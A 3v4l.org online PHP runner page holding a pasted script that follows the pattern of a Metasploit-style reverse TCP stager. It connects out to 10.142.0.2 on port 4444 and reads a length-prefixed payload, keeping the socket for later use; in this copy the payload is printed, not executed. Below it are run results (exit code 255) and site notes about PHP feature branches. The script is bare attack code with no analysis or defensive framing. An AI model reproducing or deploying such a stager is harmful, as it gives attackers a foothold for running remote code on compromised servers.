3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); $ip = '10.142.0.2'; $port = 4444; $ipf = AF_INET; if (FALSE !== strpos($ip, ":")) { $ip = "[". $ip ."]"; $ipf = AF_INET6; }if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f($ipf, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); }if (!$s) { die('no socket'); }switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; }if (!$len) { die(); }$a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; }}$GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; print($b); die();
Output for git.master, git.master_jit, rfc.property-hooks

Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
34.69 ms | 401 KiB | 8 Q